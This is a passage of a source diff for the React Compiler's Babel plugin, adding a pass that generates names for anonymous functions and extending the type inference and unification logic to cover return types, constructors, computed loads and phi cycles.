index 7d1d8917b3bf..9ce9f5b21d77 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/SSA/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/SSA/index.ts
@@ -5,6 +5,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { eliminateRedundantPhi } from "./EliminateRedundantPhi";
-export { default as enterSSA } from "./EnterSSA";
-export { leaveSSA } from "./LeaveSSA";
+export {eliminateRedundantPhi} from './EliminateRedundantPhi';
+export {default as enterSSA} from './EnterSSA';
+export {rewriteInstructionKindsBasedOnReassignment} from './RewriteInstructionKindsBasedOnReassignment';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Transform/NameAnonymousFunctions.ts b/compiler/packages/babel-plugin-react-compiler/src/Transform/NameAnonymousFunctions.ts
new file mode 100644
index 000000000000..23f9ed729f65
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Transform/NameAnonymousFunctions.ts
@@ -0,0 +1,179 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  FunctionExpression,
+  getHookKind,
+  HIRFunction,
+  IdentifierId,
+} from '../HIR';
+
+export function nameAnonymousFunctions(fn: HIRFunction): void {
+  if (fn.id == null) {
+    return;
+  }
+  const parentName = fn.id;
+  const functions = nameAnonymousFunctionsImpl(fn);
+  function visit(node: Node, prefix: string): void {
+    if (node.generatedName != null && node.fn.nameHint == null) {
+      /**
+       * Note that we don't generate a name for functions that already had one,
+       * so we'll only add the prefix to anonymous functions regardless of
+       * nesting depth.
+       */
+      const name = `${prefix}${node.generatedName}]`;
+      node.fn.nameHint = name;
+      node.fn.loweredFunc.func.nameHint = name;
+    }
+    /**
+     * Whether or not we generated a name for the function at this node,
+     * traverse into its nested functions to assign them names
+     */
+    const nextPrefix = `${prefix}${node.generatedName ?? node.fn.name ?? '<anonymous>'} > `;
+    for (const inner of node.inner) {
+      visit(inner, nextPrefix);
+    }
+  }
+  for (const node of functions) {
+    visit(node, `${parentName}[`);
+  }
+}
+
+type Node = {
+  fn: FunctionExpression;
+  generatedName: string | null;
+  inner: Array<Node>;
+};
+
+function nameAnonymousFunctionsImpl(fn: HIRFunction): Array<Node> {
+  // Functions that we track to generate names for
+  const functions: Map<IdentifierId, Node> = new Map();
+  // Tracks temporaries that read from variables/globals/properties
+  const names: Map<IdentifierId, string> = new Map();
+  // Tracks all function nodes to bubble up for later renaming
+  const nodes: Array<Node> = [];
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'LoadGlobal': {
+          names.set(lvalue.identifier.id, value.binding.name);
+          break;
+        }
+        case 'LoadContext':
+        case 'LoadLocal': {
+          const name = value.place.identifier.name;
+          if (name != null && name.kind === 'named') {
+            names.set(lvalue.identifier.id, name.value);
+          }
+          const func = functions.get(value.place.identifier.id);
+          if (func != null) {
+            functions.set(lvalue.identifier.id, func);
+          }
+          break;
+        }
+        case 'PropertyLoad': {
+          const objectName = names.get(value.object.identifier.id);
+          if (objectName != null) {
+            names.set(
+              lvalue.identifier.id,
+              `${objectName}.${String(value.property)}`,
+            );
+          }
+          break;
+        }
+        case 'FunctionExpression': {
+          const inner = nameAnonymousFunctionsImpl(value.loweredFunc.func);
+          const node: Node = {
+            fn: value,
+            generatedName: null,
+            inner,
+          };
+          /**
+           * Bubble-up all functions, even if they're named, so that we can
+           * later generate names for any inner anonymous functions
+           */
+          nodes.push(node);
+          if (value.name == null) {
+            // but only generate names for anonymous functions
+            functions.set(lvalue.identifier.id, node);
+          }
+          break;
+        }
+        case 'StoreContext':
+        case 'StoreLocal': {
+          const node = functions.get(value.value.identifier.id);
+          const variableName = value.lvalue.place.identifier.name;
+          if (
+            node != null &&
+            node.generatedName == null &&
+            variableName != null &&
+            variableName.kind === 'named'
+          ) {
+            node.generatedName = variableName.value;
+            functions.delete(value.value.identifier.id);
+          }
+          break;
+        }
+        case 'CallExpression':
+        case 'MethodCall': {
+          const callee =
+            value.kind === 'MethodCall' ? value.property : value.callee;
+          const hookKind = getHookKind(fn.env, callee.identifier);
+          let calleeName: string | null = null;
+          if (hookKind != null && hookKind !== 'Custom') {
+            calleeName = hookKind;
+          } else {
+            calleeName = names.get(callee.identifier.id) ?? '(anonymous)';
+          }
+          let fnArgCount = 0;
+          for (const arg of value.args) {
+            if (arg.kind === 'Identifier' && functions.has(arg.identifier.id)) {
+              fnArgCount++;
+            }
+          }
+          for (let i = 0; i < value.args.length; i++) {
+            const arg = value.args[i]!;
+            if (arg.kind === 'Spread') {
+              continue;
+            }
+            const node = functions.get(arg.identifier.id);
+            if (node != null && node.generatedName == null) {
+              const generatedName =
+                fnArgCount > 1 ? `${calleeName}(arg${i})` : `${calleeName}()`;
+              node.generatedName = generatedName;
+              functions.delete(arg.identifier.id);
+            }
+          }
+          break;
+        }
+        case 'JsxExpression': {
+          for (const attr of value.props) {
+            if (attr.kind === 'JsxSpreadAttribute') {
+              continue;
+            }
+            const node = functions.get(attr.place.identifier.id);
+            if (node != null && node.generatedName == null) {
+              const elementName =
+                value.tag.kind === 'BuiltinTag'
+                  ? value.tag.name
+                  : (names.get(value.tag.identifier.id) ?? null);
+              const propName =
+                elementName == null
+                  ? attr.name
+                  : `<${elementName}>.${attr.name}`;
+              node.generatedName = `${propName}`;
+              functions.delete(attr.place.identifier.id);
+            }
+          }
+          break;
+        }
+      }
+    }
+  }
+  return nodes;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Transform/index.ts b/compiler/packages/babel-plugin-react-compiler/src/Transform/index.ts
new file mode 100644
index 000000000000..a265a953eed3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Transform/index.ts
@@ -0,0 +1,6 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
diff --git a/compiler/packages/babel-plugin-react-compiler/src/TypeInference/InferTypes.ts b/compiler/packages/babel-plugin-react-compiler/src/TypeInference/InferTypes.ts
index 9ed87e7e8ab4..190e3d3a7a3e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/TypeInference/InferTypes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/TypeInference/InferTypes.ts
@@ -5,52 +5,56 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
-import { CompilerError } from "../CompilerError";
-import { Environment } from "../HIR";
-import { lowerType } from "../HIR/BuildHIR";
+import * as t from '@babel/types';
+import {CompilerError} from '../CompilerError';
+import {Environment} from '../HIR';
 import {
+  GeneratedSource,
   HIRFunction,
   Identifier,
   IdentifierId,
   Instruction,
+  InstructionKind,
+  makePropertyLiteral,
   makeType,
   PropType,
   Type,
   typeEquals,
   TypeId,
   TypeVar,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   BuiltInArrayId,
   BuiltInFunctionId,
   BuiltInJsxId,
+  BuiltInMixedReadonlyId,
   BuiltInObjectId,
   BuiltInPropsId,
   BuiltInRefValueId,
+  BuiltInSetStateId,
   BuiltInUseRefId,
-} from "../HIR/ObjectShape";
-import { eachInstructionLValue, eachInstructionOperand } from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
+} from '../HIR/ObjectShape';
+import {eachInstructionLValue, eachInstructionOperand} from '../HIR/visitors';
+import {assertExhaustive} from '../Utils/utils';
 
-function isPrimitiveBinaryOp(op: t.BinaryExpression["operator"]): boolean {
+function isPrimitiveBinaryOp(op: t.BinaryExpression['operator']): boolean {
   switch (op) {
-    case "+":
-    case "-":
-    case "/":
-    case "%":
-    case "*":
-    case "**":
-    case "&":
-    case "|":
-    case ">>":
-    case "<<":
-    case "^":
-    case ">":
-    case "<":
-    case ">=":
-    case "<=":
-    case "|>":
+    case '+':
+    case '-':
+    case '/':
+    case '%':
+    case '*':
+    case '**':
+    case '&':
+    case '|':
+    case '>>':
+    case '<<':
+    case '^':
+    case '>':
+    case '<':
+    case '>=':
+    case '<=':
+    case '|>':
       return true;
     default:
       return false;
@@ -68,7 +72,7 @@ export function inferTypes(func: HIRFunction): void {
 function apply(func: HIRFunction, unifier: Unifier): void {
   for (const [_, block] of func.body.blocks) {
     for (const phi of block.phis) {
-      phi.type = unifier.get(phi.type);
+      phi.place.identifier.type = unifier.get(phi.place.identifier.type);
     }
     for (const instr of block.instructions) {
       for (const operand of eachInstructionLValue(instr)) {
@@ -77,17 +81,19 @@ function apply(func: HIRFunction, unifier: Unifier): void {
       for (const place of eachInstructionOperand(instr)) {
         place.identifier.type = unifier.get(place.identifier.type);
       }
-      const { lvalue, value } = instr;
+      const {lvalue, value} = instr;
       lvalue.identifier.type = unifier.get(lvalue.identifier.type);
 
       if (
-        value.kind === "FunctionExpression" ||
-        value.kind === "ObjectMethod"
+        value.kind === 'FunctionExpression' ||
+        value.kind === 'ObjectMethod'
       ) {
         apply(value.loweredFunc.func, unifier);
       }
     }
   }
+  const returns = func.returns.identifier;
+  returns.type = unifier.get(returns.type);
 }
 
 type TypeEquation = {
@@ -103,223 +109,297 @@ function equation(left: Type, right: Type): TypeEquation {
 }
 
 function* generate(
-  func: HIRFunction
+  func: HIRFunction,
 ): Generator<TypeEquation, void, undefined> {
-  if (func.env.fnType === "Component") {
+  if (func.fnType === 'Component') {
     const [props, ref] = func.params;
-    if (props && props.kind === "Identifier") {
+    if (props && props.kind === 'Identifier') {
       yield equation(props.identifier.type, {
-        kind: "Object",
+        kind: 'Object',
         shapeId: BuiltInPropsId,
       });
     }
-    if (ref && ref.kind === "Identifier") {
+    if (ref && ref.kind === 'Identifier') {
       yield equation(ref.identifier.type, {
-        kind: "Object",
+        kind: 'Object',
         shapeId: BuiltInUseRefId,
       });
     }
   }
 
   const names = new Map();
+  const returnTypes: Array<Type> = [];
   for (const [_, block] of func.body.blocks) {
     for (const phi of block.phis) {
-      yield equation(phi.type, {
-        kind: "Phi",
-        operands: [...phi.operands.values()].map((id) => id.type),
+      yield equation(phi.place.identifier.type, {
+        kind: 'Phi',
+        operands: [...phi.operands.values()].map(id => id.identifier.type),
       });
     }
 
     for (const instr of block.instructions) {
       yield* generateInstructionTypes(func.env, names, instr);
     }
+    const terminal = block.terminal;
+    if (terminal.kind === 'return') {
+      returnTypes.push(terminal.value.identifier.type);
+    }
+  }
+  if (returnTypes.length > 1) {
+    yield equation(func.returns.identifier.type, {
+      kind: 'Phi',
+      operands: returnTypes,
+    });
+  } else if (returnTypes.length === 1) {
+    yield equation(func.returns.identifier.type, returnTypes[0]!);
   }
 }
 
 function setName(
   names: Map<IdentifierId, string>,
   id: IdentifierId,
-  name: Identifier
+  name: Identifier,
 ): void {
-  if (name.name?.kind === "named") {
+  if (name.name?.kind === 'named') {
     names.set(id, name.name.value);
   }
 }
 
 function getName(names: Map<IdentifierId, string>, id: IdentifierId): string {
-  return names.get(id) ?? "";
+  return names.get(id) ?? '';
 }
 
 function* generateInstructionTypes(
   env: Environment,
   names: Map<IdentifierId, string>,
-  instr: Instruction
+  instr: Instruction,
 ): Generator<TypeEquation, void, undefined> {
-  const { lvalue, value } = instr;
+  const {lvalue, value} = instr;
   const left = lvalue.identifier.type;
 
   switch (value.kind) {
-    case "TemplateLiteral":
-    case "JSXText":
-    case "Primitive": {
-      yield equation(left, { kind: "Primitive" });
+    case 'TemplateLiteral':
+    case 'JSXText':
+    case 'Primitive': {
+      yield equation(left, {kind: 'Primitive'});
       break;
     }
 
-    case "UnaryExpression": {
-      yield equation(left, { kind: "Primitive" });
+    case 'UnaryExpression': {
+      yield equation(left, {kind: 'Primitive'});
       break;
     }
 
-    case "LoadLocal": {
+    case 'LoadLocal': {
       setName(names, lvalue.identifier.id, value.place.identifier);
       yield equation(left, value.place.identifier.type);
       break;
     }
 
-    // We intentionally do not infer types for context variables
-    case "DeclareContext":
-    case "StoreContext":
-    case "LoadContext": {
+    // We intentionally do not infer types for most context variables
+    case 'DeclareContext':
+    case 'LoadContext': {
       break;
     }
-
-    case "StoreLocal": {
-      if (env.config.enableUseTypeAnnotations) {
-        yield equation(
-          value.lvalue.place.identifier.type,
-          value.value.identifier.type
-        );
-        const valueType =
-          value.type === null ? makeType() : lowerType(value.type);
-        yield equation(valueType, value.lvalue.place.identifier.type);
-        yield equation(left, valueType);
-      } else {
-        yield equation(left, value.value.identifier.type);
+    case 'StoreContext': {
+      /**
+       * The caveat is StoreContext const, where we know the value is
+       * assigned once such that everywhere the value is accessed, it
+       * must have the same type from the rvalue.
+       *
+       * A concrete example where this is useful is `const ref = useRef()`
+       * where the ref is referenced before its declaration in a function
+       * expression, causing it to be converted to a const context variable.
+       */
+      if (value.lvalue.kind === InstructionKind.Const) {
         yield equation(
           value.lvalue.place.identifier.type,
-          value.value.identifier.type
+          value.value.identifier.type,
         );
       }
       break;
     }
 
-    case "StoreGlobal": {
+    case 'StoreLocal': {
+      yield equation(left, value.value.identifier.type);
+      yield equation(
+        value.lvalue.place.identifier.type,
+        value.value.identifier.type,
+      );
+      break;
+    }
+
+    case 'StoreGlobal': {
       yield equation(left, value.value.identifier.type);
       break;
     }
 
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       if (isPrimitiveBinaryOp(value.operator)) {
-        yield equation(value.left.identifier.type, { kind: "Primitive" });
-        yield equation(value.right.identifier.type, { kind: "Primitive" });
+        yield equation(value.left.identifier.type, {kind: 'Primitive'});
+        yield equation(value.right.identifier.type, {kind: 'Primitive'});
       }
-      yield equation(left, { kind: "Primitive" });
+      yield equation(left, {kind: 'Primitive'});
       break;
     }
 
-    case "PostfixUpdate":
-    case "PrefixUpdate": {
-      yield equation(value.value.identifier.type, { kind: "Primitive" });
-      yield equation(value.lvalue.identifier.type, { kind: "Primitive" });
-      yield equation(left, { kind: "Primitive" });
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
+      yield equation(value.value.identifier.type, {kind: 'Primitive'});
+      yield equation(value.lvalue.identifier.type, {kind: 'Primitive'});
+      yield equation(left, {kind: 'Primitive'});
       break;
     }
 
-    case "LoadGlobal": {
-      const globalType = env.getGlobalDeclaration(value.binding);
+    case 'LoadGlobal': {
+      const globalType = env.getGlobalDeclaration(value.binding, value.loc);
       if (globalType) {
         yield equation(left, globalType);
       }
       break;
     }
 
-    case "CallExpression": {
+    case 'CallExpression': {
+      const returnType = makeType();
       /*
        * TODO: callee could be a hook or a function, so this type equation isn't correct.
        * We should change Hook to a subtype of Function or change unifier logic.
        * (see https://github.com/facebook/react-forget/pull/1427)
        */
+      let shapeId: string | null = null;
+      if (env.config.enableTreatSetIdentifiersAsStateSetters) {
+        const name = getName(names, value.callee.identifier.id);
+        if (name.startsWith('set')) {
+          shapeId = BuiltInSetStateId;
+        }
+      }
       yield equation(value.callee.identifier.type, {
-        kind: "Function",
+        kind: 'Function',
+        shapeId,
+        return: returnType,
+        isConstructor: false,
+      });
+      yield equation(left, returnType);
+      break;
+    }
+
+    case 'TaggedTemplateExpression': {
+      const returnType = makeType();
+      /*
+       * TODO: callee could be a hook or a function, so this type equation isn't correct.
+       * We should change Hook to a subtype of Function or change unifier logic.
+       * (see https://github.com/facebook/react-forget/pull/1427)
+       */
+      yield equation(value.tag.identifier.type, {
+        kind: 'Function',
         shapeId: null,
-        return: left,
+        return: returnType,
+        isConstructor: false,
       });
+      yield equation(left, returnType);
       break;
     }
 
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       for (const property of value.properties) {
         if (
-          property.kind === "ObjectProperty" &&
-          property.key.kind === "computed"
+          property.kind === 'ObjectProperty' &&
+          property.key.kind === 'computed'
         ) {
           yield equation(property.key.name.identifier.type, {
-            kind: "Primitive",
+            kind: 'Primitive',
           });
         }
       }
-      yield equation(left, { kind: "Object", shapeId: BuiltInObjectId });
+      yield equation(left, {kind: 'Object', shapeId: BuiltInObjectId});
       break;
     }
 
-    case "ArrayExpression": {
-      yield equation(left, { kind: "Object", shapeId: BuiltInArrayId });
+    case 'ArrayExpression': {
+      yield equation(left, {kind: 'Object', shapeId: BuiltInArrayId});
       break;
     }
 
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       yield equation(left, {
-        kind: "Property",
+        kind: 'Property',
         objectType: value.object.identifier.type,
         objectName: getName(names, value.object.identifier.id),
-        propertyName: value.property,
+        propertyName: {
+          kind: 'literal',
+          value: value.property,
+        },
       });
       break;
     }
 
-    case "MethodCall": {
+    case 'ComputedLoad': {
+      yield equation(left, {
+        kind: 'Property',
+        objectType: value.object.identifier.type,
+        objectName: getName(names, value.object.identifier.id),
+        propertyName: {
+          kind: 'computed',
+          value: value.property.identifier.type,
+        },
+      });
+      break;
+    }
+    case 'MethodCall': {
       const returnType = makeType();
       yield equation(value.property.identifier.type, {
-        kind: "Function",
+        kind: 'Function',
         return: returnType,
         shapeId: null,
+        isConstructor: false,
       });
 
       yield equation(left, returnType);
       break;
     }
 
-    case "Destructure": {
+    case 'Destructure': {
       const pattern = value.lvalue.pattern;
-      if (pattern.kind === "ArrayPattern") {
+      if (pattern.kind === 'ArrayPattern') {
         for (let i = 0; i < pattern.items.length; i++) {
           const item = pattern.items[i];
-          if (item.kind === "Identifier") {
+          if (item.kind === 'Identifier') {
             // To simulate tuples we use properties with `String(<index>)`, eg "0".
             const propertyName = String(i);
             yield equation(item.identifier.type, {
-              kind: "Property",
+              kind: 'Property',
               objectType: value.value.identifier.type,
               objectName: getName(names, value.value.identifier.id),
-              propertyName,
+              propertyName: {
+                kind: 'literal',
+                value: makePropertyLiteral(propertyName),
+              },
+            });
+          } else if (item.kind === 'Spread') {
+            // Array pattern spread always creates an array
+            yield equation(item.place.identifier.type, {
+              kind: 'Object',
+              shapeId: BuiltInArrayId,
             });
           } else {
-            break;
+            continue;
           }
         }
       } else {
         for (const property of pattern.properties) {
-          if (property.kind === "ObjectProperty") {
+          if (property.kind === 'ObjectProperty') {
             if (
-              property.key.kind === "identifier" ||
-              property.key.kind === "string"
+              property.key.kind === 'identifier' ||
+              property.key.kind === 'string'
             ) {
               yield equation(property.place.identifier.type, {
-                kind: "Property",
+                kind: 'Property',
                 objectType: value.value.identifier.type,
                 objectName: getName(names, value.value.identifier.id),
-                propertyName: property.key.name,
+                propertyName: {
+                  kind: 'literal',
+                  value: makePropertyLiteral(property.key.name),
+                },
               });
             }
           }
@@ -328,63 +408,116 @@ function* generateInstructionTypes(
       break;
     }
 
-    case "TypeCastExpression": {
-      if (env.config.enableUseTypeAnnotations) {
-        yield equation(value.type, value.value.identifier.type);
-        yield equation(left, value.type);
-      } else {
-        yield equation(left, value.value.identifier.type);
-      }
+    case 'TypeCastExpression': {
+      yield equation(left, value.value.identifier.type);
       break;
     }
 
-    case "PropertyDelete":
-    case "ComputedDelete": {
-      yield equation(left, { kind: "Primitive" });
+    case 'PropertyDelete':
+    case 'ComputedDelete': {
+      yield equation(left, {kind: 'Primitive'});
       break;
     }
 
-    case "FunctionExpression": {
+    case 'FunctionExpression': {
       yield* generate(value.loweredFunc.func);
-      yield equation(left, { kind: "Object", shapeId: BuiltInFunctionId });
+      yield equation(left, {
+        kind: 'Function',
+        shapeId: BuiltInFunctionId,
+        return: value.loweredFunc.func.returns.identifier.type,
+        isConstructor: false,
+      });
       break;
     }
 
-    case "NextPropertyOf": {
-      yield equation(left, { kind: "Primitive" });
+    case 'NextPropertyOf': {
+      yield equation(left, {kind: 'Primitive'});
       break;
     }
 
-    case "ObjectMethod": {
+    case 'ObjectMethod': {
       yield* generate(value.loweredFunc.func);
-      yield equation(left, { kind: "ObjectMethod" });
+      yield equation(left, {kind: 'ObjectMethod'});
       break;
     }
 
-    case "JsxExpression":
-    case "JsxFragment": {
-      yield equation(left, { kind: "Object", shapeId: BuiltInJsxId });
+    case 'JsxExpression':
+    case 'JsxFragment': {
+      if (env.config.enableTreatRefLikeIdentifiersAsRefs) {
+        if (value.kind === 'JsxExpression') {
+          for (const prop of value.props) {
+            if (prop.kind === 'JsxAttribute' && prop.name === 'ref') {
+              yield equation(prop.place.identifier.type, {
+                kind: 'Object',
+                shapeId: BuiltInUseRefId,
+              });
+            }
+          }
+        }
+      }
+      yield equation(left, {kind: 'Object', shapeId: BuiltInJsxId});
+      break;
+    }
+    case 'NewExpression': {
+      const returnType = makeType();
+      yield equation(value.callee.identifier.type, {
+        kind: 'Function',
+        return: returnType,
+        shapeId: null,
+        isConstructor: true,
+      });
+
+      yield equation(left, returnType);
       break;
     }
-    case "PropertyStore":
-    case "DeclareLocal":
-    case "NewExpression":
-    case "RegExpLiteral":
-    case "MetaProperty":
-    case "ComputedStore":
-    case "ComputedLoad":
-    case "TaggedTemplateExpression":
-    case "Await":
-    case "GetIterator":
-    case "IteratorNext":
-    case "UnsupportedNode":
-    case "Debugger":
-    case "FinishMemoize":
-    case "StartMemoize": {
+    case 'PropertyStore': {
+      /**
+       * Infer types based on assignments to known object properties
+       * This is important for refs, where assignment to `<maybeRef>.current`
+       * can help us infer that an object itself is a ref
+       */
+      yield equation(
+        /**
+         * Our property type declarations are best-effort and we haven't tested
+         * using them to drive inference of rvalues from lvalues. We want to emit
+         * a Property type in order to infer refs from `.current` accesses, but
+         * stay conservative by not otherwise inferring anything about rvalues.
+         * So we use a dummy type here.
+         *
+         * TODO: consider using the rvalue type here
+         */
+        makeType(),
+        // unify() only handles properties in the second position
+        {
+          kind: 'Property',
+          objectType: value.object.identifier.type,
+          objectName: getName(names, value.object.identifier.id),
+          propertyName: {
+            kind: 'literal',
+            value: value.property,
+          },
+        },
+      );
+      break;
+    }
+    case 'DeclareLocal':
+    case 'RegExpLiteral':
+    case 'MetaProperty':
+    case 'ComputedStore':
+    case 'Await':
+    case 'GetIterator':
+    case 'IteratorNext':
+    case 'UnsupportedNode':
+    case 'Debugger':
+    case 'FinishMemoize':
+    case 'StartMemoize': {
       break;
     }
     default:
-      assertExhaustive(value, `Unhandled instruction value kind: ${value}`);
+      assertExhaustive(
+        value,
+        `Unhandled instruction value kind: ${(value as any).kind}`,
+      );
   }
 }
 
@@ -398,26 +531,29 @@ class Unifier {
   }
 
   unify(tA: Type, tB: Type): void {
-    if (tB.kind === "Property") {
+    if (tB.kind === 'Property') {
       if (
         this.env.config.enableTreatRefLikeIdentifiersAsRefs &&
         isRefLikeName(tB)
       ) {
         this.unify(tB.objectType, {
-          kind: "Object",
+          kind: 'Object',
           shapeId: BuiltInUseRefId,
         });
         this.unify(tA, {
-          kind: "Object",
+          kind: 'Object',
           shapeId: BuiltInRefValueId,
         });
         return;
       }
       const objectType = this.get(tB.objectType);
-      const propertyType = this.env.getPropertyType(
-        objectType,
-        tB.propertyName
-      );
+      const propertyType =
+        tB.propertyName.kind === 'literal'
+          ? this.env.getPropertyType(objectType, tB.propertyName.value)
+          : this.env.getFallthroughPropertyType(
+              objectType,
+              tB.propertyName.value,
+            );
       if (propertyType !== null) {
         this.unify(tA, propertyType);
       }
@@ -432,24 +568,28 @@ class Unifier {
       return;
     }
 
-    if (tA.kind === "Type") {
+    if (tA.kind === 'Type') {
       this.bindVariableTo(tA, tB);
       return;
     }
 
-    if (tB.kind === "Type") {
+    if (tB.kind === 'Type') {
       this.bindVariableTo(tB, tA);
       return;
     }
 
-    if (tB.kind === "Function" && tA.kind === "Function") {
+    if (
+      tB.kind === 'Function' &&
+      tA.kind === 'Function' &&
+      tA.isConstructor === tB.isConstructor
+    ) {
       this.unify(tA.return, tB.return);
       return;
     }
   }
 
   bindVariableTo(v: TypeVar, type: Type): void {
-    if (type.kind === "Poly") {
+    if (type.kind === 'Poly') {
       //  Ignore PolyType, since we don't support polymorphic types correctly.
       return;
     }
@@ -459,48 +599,157 @@ class Unifier {
       return;
     }
 
-    if (type.kind === "Type" && this.substitutions.has(type.id)) {
+    if (type.kind === 'Type' && this.substitutions.has(type.id)) {
       this.unify(v, this.substitutions.get(type.id)!);
       return;
     }
 
-    if (type.kind === "Phi") {
-      const operands = new Set(type.operands.map((i) => this.get(i).kind));
-
-      CompilerError.invariant(operands.size > 0, {
-        reason: "there should be at least one operand",
-        description: null,
-        loc: null,
-        suggestions: null,
+    if (type.kind === 'Phi') {
+      CompilerError.invariant(type.operands.length > 0, {
+        reason: 'there should be at least one operand',
+        loc: GeneratedSource,
       });
-      const kind = operands.values().next().value;
 
-      // there's only one unique type and it's not a type var
-      if (operands.size === 1 && kind !== "Type") {
-        this.unify(v, type.operands[0]);
+      let candidateType: Type | null = null;
+      for (const operand of type.operands) {
+        const resolved = this.get(operand);
+        if (candidateType === null) {
+          candidateType = resolved;
+        } else if (!typeEquals(resolved, candidateType)) {
+          const unionType = tryUnionTypes(resolved, candidateType);
+          if (unionType === null) {
+            candidateType = null;
+            break;
+          } else {
+            candidateType = unionType;
+          }
+        } // else same type, continue
+      }
+
+      if (candidateType !== null) {
+        this.unify(v, candidateType);
         return;
       }
     }
 
     if (this.occursCheck(v, type)) {
-      throw new Error("cycle detected");
+      const resolvedType = this.tryResolveType(v, type);
+      if (resolvedType !== null) {
+        this.substitutions.set(v.id, resolvedType);
+        return;
+      }
+      throw new Error('cycle detected');
     }
 
     this.substitutions.set(v.id, type);
   }
 
+  tryResolveType(v: TypeVar, type: Type): Type | null {
+    switch (type.kind) {
+      case 'Phi': {
+        /**
+         * Resolve the type of the phi by recursively removing `v` as an operand.
+         * For example we can end up with types like this:
+         *
+         * v = Phi [
+         *   T1
+         *   T2
+         *   Phi [
+         *     T3
+         *     Phi [
+         *       T4
+         *       v <-- cycle!
+         *     ]
+         *   ]
+         * ]
+         *
+         * By recursively removing `v`, we end up with:
+         *
+         * v = Phi [
+         *   T1
+         *   T2
+         *   Phi [
+         *     T3
+         *     Phi [
+         *       T4
+         *     ]
+         *   ]
+         * ]
+         *
+         * Which avoids the cycle
+         */
+        const operands = [];
+        for (const operand of type.operands) {
+          if (operand.kind === 'Type' && operand.id === v.id) {
+            continue;
+          }
+          const resolved = this.tryResolveType(v, operand);
+          if (resolved === null) {
+            return null;
+          }
+          operands.push(resolved);
+        }
+        return {kind: 'Phi', operands};
+      }
+      case 'Type': {
+        const substitution = this.get(type);
+        if (substitution !== type) {
+          const resolved = this.tryResolveType(v, substitution);
+          if (resolved !== null) {
+            this.substitutions.set(type.id, resolved);
+          }
+          return resolved;
+        }
+        return type;
+      }
+      case 'Property': {
+        const objectType = this.tryResolveType(v, this.get(type.objectType));
+        if (objectType === null) {
+          return null;
+        }
+        return {
+          kind: 'Property',
+          objectName: type.objectName,
+          objectType,
+          propertyName: type.propertyName,
+        };
+      }
+      case 'Function': {
+        const returnType = this.tryResolveType(v, this.get(type.return));
+        if (returnType === null) {
+          return null;
+        }
+        return {
+          kind: 'Function',
+          return: returnType,
+          shapeId: type.shapeId,
+          isConstructor: type.isConstructor,
+        };
+      }
+      case 'ObjectMethod':
+      case 'Object':
+      case 'Primitive':
+      case 'Poly': {
+        return type;
+      }
+      default: {
+        assertExhaustive(type, `Unexpected type kind '${(type as any).kind}'`);
+      }
+    }
+  }
+
   occursCheck(v: TypeVar, type: Type): boolean {
     if (typeEquals(v, type)) return true;
 
-    if (type.kind === "Type" && this.substitutions.has(type.id)) {
+    if (type.kind === 'Type' && this.substitutions.has(type.id)) {
       return this.occursCheck(v, this.substitutions.get(type.id)!);
     }
 
-    if (type.kind === "Phi") {
-      return type.operands.some((o) => this.occursCheck(v, o));
+    if (type.kind === 'Phi') {
+      return type.operands.some(o => this.occursCheck(v, o));
     }
 
-    if (type.kind === "Function") {
+    if (type.kind === 'Function') {
       return this.occursCheck(v, type.return);
     }
 
@@ -508,14 +757,23 @@ class Unifier {
   }
 
   get(type: Type): Type {
-    if (type.kind === "Type") {
+    if (type.kind === 'Type') {
       if (this.substitutions.has(type.id)) {
         return this.get(this.substitutions.get(type.id)!);
       }
     }
 
-    if (type.kind === "Phi") {
-      return { kind: "Phi", operands: type.operands.map((o) => this.get(o)) };
+    if (type.kind === 'Phi') {
+      return {kind: 'Phi', operands: type.operands.map(o => this.get(o))};
+    }
+
+    if (type.kind === 'Function') {
+      return {
+        kind: 'Function',
+        isConstructor: type.isConstructor,
+        shapeId: type.shapeId,
+        return: this.get(type.return),
+      };
     }
 
     return type;
@@ -525,5 +783,45 @@ class Unifier {
 const RefLikeNameRE = /^(?:[a-zA-Z$_][a-zA-Z$_0-9]*)Ref$|^ref$/;
 
 function isRefLikeName(t: PropType): boolean {
-  return RefLikeNameRE.test(t.objectName) && t.propertyName === "current";
+  return (
+    t.propertyName.kind === 'literal' &&
+    RefLikeNameRE.test(t.objectName) &&
+    t.propertyName.value === 'current'
+  );
+}
+
+function tryUnionTypes(ty1: Type, ty2: Type): Type | null {
+  let readonlyType: Type;
+  let otherType: Type;
+  if (ty1.kind === 'Object' && ty1.shapeId === BuiltInMixedReadonlyId) {
+    readonlyType = ty1;
+    otherType = ty2;
+  } else if (ty2.kind === 'Object' && ty2.shapeId === BuiltInMixedReadonlyId) {
+    readonlyType = ty2;
+    otherType = ty1;
+  } else {
+    return null;
+  }
+  if (otherType.kind === 'Primitive') {
+    /**
+     * Union(Primitive | MixedReadonly) = MixedReadonly
+     *
+     * For example, `data ?? null` could return `data`, the fact that RHS
+     * is a primitive doesn't guarantee the result is a primitive.
+     */
+    return readonlyType;
+  } else if (
+    otherType.kind === 'Object' &&
+    otherType.shapeId === BuiltInArrayId
+  ) {
+    /**
+     * Union(Array | MixedReadonly) = Array
+     *
+     * In practice this pattern means the result is always an array. Given
+     * that this behavior requires opting-in to the mixedreadonly type
+     * (via moduleTypeProvider) this seems like a reasonable heuristic.
+     */
+    return otherType;
+  }
+  return null;
 }
